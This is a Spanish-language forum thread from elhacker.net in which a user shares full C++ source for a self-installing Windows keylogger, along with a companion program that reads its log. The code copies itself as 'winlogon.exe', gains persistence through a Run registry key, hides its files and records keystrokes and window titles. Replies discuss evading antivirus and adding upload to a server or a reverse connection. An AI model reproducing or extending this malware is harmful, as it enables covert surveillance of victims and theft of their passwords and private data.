elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Sigue las noticias más importantes de seguridad informática en el Twitter! de elhacker.NET


+  Foro de elhacker.net
|-+  Programación
| |-+  Programación C/C++ (Moderadores: Eternal Idol, Littlehorse, K-YreX)
| | |-+  [aporte]c keylogger solo con abrirlo se instala
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: [aporte]c keylogger solo con abrirlo se instala  (Leído 2,981 veces)
daryo


Desconectado Desconectado

Mensajes: 1.070



Ver Perfil WWW
[aporte]c keylogger solo con abrirlo se instala
« en: 15 Junio 2013, 16:52 pm »

vi algunos interesados en keylogger asi que traigo esto
esta algo desordenado.

perdon el desorden  :-[.

aca un keyloggeer que hice se instala solo hecho para windows xp pero si quieren adaptarlo:
IMPORTANTE  PARA WINDOWS VISTA O POSTERIOR descomentar nunca  probe esta parte del code talves se necesiten ligeras modificaciones adicionales
Código
  1. /*
  2. char *instaladooo;
  3. instaladooo=getenv("USERPROFILE");
  4. SetCurrentDirectory(instaladooo);
  5. */
  6.  

Código
  1. #include <cstring>
  2. #include <windows.h>
  3. #include <fstream>
  4. #include <ctime>
  5.  
  6. using namespace std;
  7.  
  8. int main ( int argc, char *argv[] )
  9. {
  10. HWND hwnd;
  11. char ventana[255];
  12. char venta2[255];
  13. //existe el archivo log? si no existe instalar keylogger :D
  14. ifstream logc;
  15. logc.open ( "windows.dll" );
  16. if ( !logc.is_open() )
  17. {
  18. //---- se busca la carpeta de usuario
  19. char * dirinstal;
  20. char archivo [70];
  21. char * discolocal;
  22. dirinstal = getenv ( "HOMEPATH" );
  23. discolocal = getenv ( "SystemDrive" );
  24. strcpy ( archivo,discolocal );
  25. strcat ( archivo,dirinstal );
  26. //se crea el archivo log
  27. ofstream logos;
  28. char winlog [70];
  29. strcpy ( winlog, archivo );
  30.  
  31. strcat ( winlog, "\\windows.dll" );
  32. logos.open ( winlog, ios::out | ios::app );
  33. logos.close ();
  34. //-------
  35. strcat ( archivo, "\\winlogon.exe" );
  36. // se copia en la carpeta de usuario
  37. CopyFile ( argv[0], archivo, true );
  38. //- ahora se añade al registro
  39. HKEY hkey;
  40. RegOpenKeyEx ( HKEY_CURRENT_USER,
  41. "Software\\Microsoft\\Windows\\CurrentVersion\\run",
  42. 0, KEY_SET_VALUE, &hkey );
  43. RegSetValueEx ( hkey, "windout", 0, REG_SZ,
  44. (const unsigned char * ) archivo, sizeof archivo );
  45. RegCloseKey ( hkey );
  46. //se esconden los archivos , el keylogger y el log
  47. SetFileAttributesA ( archivo, FILE_ATTRIBUTE_HIDDEN | FILE_ATTRIBUTE_SYSTEM );
  48. // ahora el log
  49. SetFileAttributesA ( winlog, FILE_ATTRIBUTE_HIDDEN | FILE_ATTRIBUTE_SYSTEM );
  50. //por ultimo se cierra el sistema esperando que se reinicie el pc
  51. return 0;
  52. }
  53. logc.close();
  54.  
  55. // abre el archivo log
  56. /*
  57. char *instalado
  58. instalado=getenv("USERPROFILE");
  59. SetCurrentDirectory(instalado)
  60. */
  61. ofstream log;
  62. log.open ( "windows.dll", ios::out | ios::app );
  63. while ( true )
  64. {
  65. //detecta cambio de ventana
  66. hwnd = GetForegroundWindow ();
  67. GetWindowText ( hwnd, ventana, 255 );
  68. //----------------------
  69. for(int x=65;x<=90;x++) //valores ascii de los caracteres
  70. {
  71. if ( GetAsyncKeyState ( x ) == -32767 )
  72. {
  73. log << ( char ) x;
  74. }
  75. }
  76. for ( int x=48; x<=57; x++ ) //valores ascii de los numeros
  77. {
  78. if ( GetAsyncKeyState (x) == -32767 )
  79. {
  80. log << ( char ) x;
  81. }
  82. }
  83. if ( GetAsyncKeyState ( ' ' ) == -32767)
  84. {
  85. log << " ";
  86. }
  87. if ( GetAsyncKeyState (1) == -32767)
  88. { //CLICK izquierdo
  89. log << "[click-izq]";
  90. }
  91. if ( GetAsyncKeyState(2) == -32767 )
  92. { //click derecho
  93. log << "[click-der]";
  94. }
  95. if ( GetAsyncKeyState (8) == -32767 )
  96. { // nada que decir
  97. log << "[backspace]";
  98. }
  99. if ( GetAsyncKeyState (190) == -32767 )
  100. { // nada que decir
  101. log << ".";
  102. }
  103. if ( GetAsyncKeyState (188) == -32767 )
  104. { // nada que decir
  105. log << ",";
  106. }
  107. if ( GetAsyncKeyState (13) == -32767 )
  108. { // nada que decir
  109. log << "[enter]";
  110. }
  111. //capturar flechas
  112. if(GetAsyncKeyState(37) == -32767)
  113. { // nada que decir
  114. log << "[left]";
  115. }
  116. if(GetAsyncKeyState(38) == -32767 )
  117. { // nada que decir
  118. log << "[up]";
  119. }
  120. if(GetAsyncKeyState(39) == -32767 )
  121. { // nada que decir
  122. log << "[right]";
  123. }
  124. if(GetAsyncKeyState(40) == -32767)
  125. { // nada que decir
  126. log << "[down]";
  127. }
  128.  
  129. if(GetAsyncKeyState(9) == -32767)
  130. {
  131. log << "[tab]";
  132. }
  133. //detecta cambio de ventana con otra variable
  134. hwnd = GetForegroundWindow ();
  135. GetWindowText ( hwnd, venta2, 255 );
  136. //compara las viarablews de cambio de ventana
  137. if ( strcmp ( ventana, venta2 ) != 0 )
  138. {
  139. //ventana a comparar
  140. char key[]= "lolwinlogonlol";
  141. // sera el nombre de la ventana que cierre el proceso
  142.  
  143. if ( strcmp ( ventana,key )== 0 )
  144. {
  145. log.close ();
  146. return 0;
  147. }
  148. //calcular la fecha
  149. time_t tiempo = time (0);
  150. struct tm *tlocal = localtime (&tiempo);
  151. char output[128];
  152. strftime ( output, 128, "%d/%m/%y %H:%M:%S", tlocal );
  153. //--------------------
  154. log << endl << "-------------------------" << endl;
  155. log << "fecha:" << output << endl;
  156. log << endl << "ventana:"<< venta2 << endl;
  157. }
  158. }
  159. return 0;
  160. }


leer logs.cpp
Código
  1. #include <iostream>
  2. #include <cstring>
  3. #include <windows.h>
  4.  
  5. using namespace std;
  6.  
  7. int main()
  8. {
  9. char direccion[70]="notepad \"";
  10. char *disco;
  11. char *varsis;
  12. SetConsoleTitle("lolwinlogonlol");
  13. cout << "espere mientras se abre el archivo:" << endl;
  14. varsis=getenv("HOMEPATH");
  15. disco=getenv("SystemDrive");
  16. strcat(direccion,disco);strcat(direccion,varsis);strcat(direccion,"\\windows.dll\"");
  17. system(direccion);
  18. cout << "lol" ;
  19. return 0;
  20. }
  21.  
  22.  


En línea

buenas
aguml


Desconectado Desconectado

Mensajes: 378



Ver Perfil
Re: [aporte]c keylogger solo con abrirlo se instala
« Respuesta #1 en: 16 Junio 2013, 11:53 am »

me parece muy interesante el codigo pero yo creo que en la zona donde haces uso de muchos condicionales if podrias haber usado in switch y hacer el codigo mas eficiente ya que solo entraria en uno de esos if pero la comprobacion seria en todos y con el switch no es asi. Otro detalle es como se lo tomaran los antivirus jejeje.


En línea

OmarHack


Desconectado Desconectado

Mensajes: 1.268


Ver Perfil
Re: [aporte]c keylogger solo con abrirlo se instala
« Respuesta #2 en: 16 Junio 2013, 12:25 pm »

¿Lo hiciste tú? La verdad es que es menos código del que pensaba. Tiene buena pinta, ahora solo habría que añadirle una función para subir el archivo cada x tiempo a un servidor y otra para que se permita el programa en el firewall y queda uno keylogger dpm. :)
En línea

I like to test things.
daryo


Desconectado Desconectado

Mensajes: 1.070



Ver Perfil WWW
Re: [aporte]c keylogger solo con abrirlo se instala
« Respuesta #3 en: 16 Junio 2013, 15:11 pm »

me parece muy interesante el codigo pero yo creo que en la zona donde haces uso de muchos condicionales if podrias haber usado in switch y hacer el codigo mas eficiente ya que solo entraria en uno de esos if pero la comprobacion seria en todos y con el switch no es asi. Otro detalle es como se lo tomaran los antivirus jejeje.

pues mira que lo he usado en mas de una ocasion con varios av , espero que no lo empiezen a detectar por subirlo aca  ;D

¿Lo hiciste tú? La verdad es que es menos código del que pensaba. Tiene buena pinta, ahora solo habría que añadirle una función para subir el archivo cada x tiempo a un servidor y otra para que se permita el programa en el firewall y queda uno keylogger dpm. :)

sip yo lo hice . No estaria mal que subieras el code si le pongas esas cosas  ;D pero lo del firewall no hace falta con conexion inversa es suficiente
En línea

buenas
OmarHack


Desconectado Desconectado

Mensajes: 1.268


Ver Perfil
Re: [aporte]c keylogger solo con abrirlo se instala
« Respuesta #4 en: 16 Junio 2013, 15:54 pm »

Mi firewall controla también las conexiones salientes, por eso digo lo de abrir el firewall, pero también es muy buena idea. Hace tiempo que estoy haciendo un navegador y bueno... xD Mejor no digo como va. :silbar: Me falta mucho en sockets, pero seguro que en un futuro lo intento. >:D
En línea

I like to test things.
maxim_o

Desconectado Desconectado

Mensajes: 186


Ver Perfil
Re: [aporte]c keylogger solo con abrirlo se instala
« Respuesta #5 en: 16 Junio 2013, 18:28 pm »

El teclado numerico que valores ascii tendria?
Por que probando de forma sencilla me da los valores de a,b,c,d,e... en minusculas....
Y las letras normales en Mayusculas....

(NO es tu keylogger, desconozco si hay coge bien el teclado numerico)
Este "bucle"
Código
  1.                for (int x = 0; x <=255; x++)
  2.                {
  3.  
  4.                        if (GetAsyncKeyState(x) == -32767)
  5.                        {
  6.                                cout << "Codigo tecla :" << x
  7.                                << " La Tecla presionada es : ";
  8.                                printf ("%c\n", x);
  9.                        }
  10.                }
En línea

daryo


Desconectado Desconectado

Mensajes: 1.070



Ver Perfil WWW
Re: [aporte]c keylogger solo con abrirlo se instala
« Respuesta #6 en: 17 Junio 2013, 20:06 pm »


(NO es tu keylogger
como que no es mio? podrias aclararte
En línea

buenas
maxim_o

Desconectado Desconectado

Mensajes: 186


Ver Perfil
Re: [aporte]c keylogger solo con abrirlo se instala
« Respuesta #7 en: 18 Junio 2013, 00:03 am »

Ahhhh perdón si se entendio mal, me referia en ese codigo que puse que los valores del teclado numerico no los cogia bien.....
Y las caracteres los cogia como mayusculas... (en el código que puse yo)

Que en tu keyloger, no se si pasa lo mismo, que no lo había probado, a eso me refería!

Sorry si me explique mal.

Saludos
En línea

daryo


Desconectado Desconectado

Mensajes: 1.070



Ver Perfil WWW
Re: [aporte]c keylogger solo con abrirlo se instala
« Respuesta #8 en: 18 Junio 2013, 13:52 pm »

Ahhhh perdón si se entendio mal, me referia en ese codigo que puse que los valores del teclado numerico no los cogia bien.....
Y las caracteres los cogia como mayusculas... (en el código que puse yo)

Que en tu keyloger, no se si pasa lo mismo, que no lo había probado, a eso me refería!

Sorry si me explique mal.

Saludos
ok n_n
En línea

buenas
Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines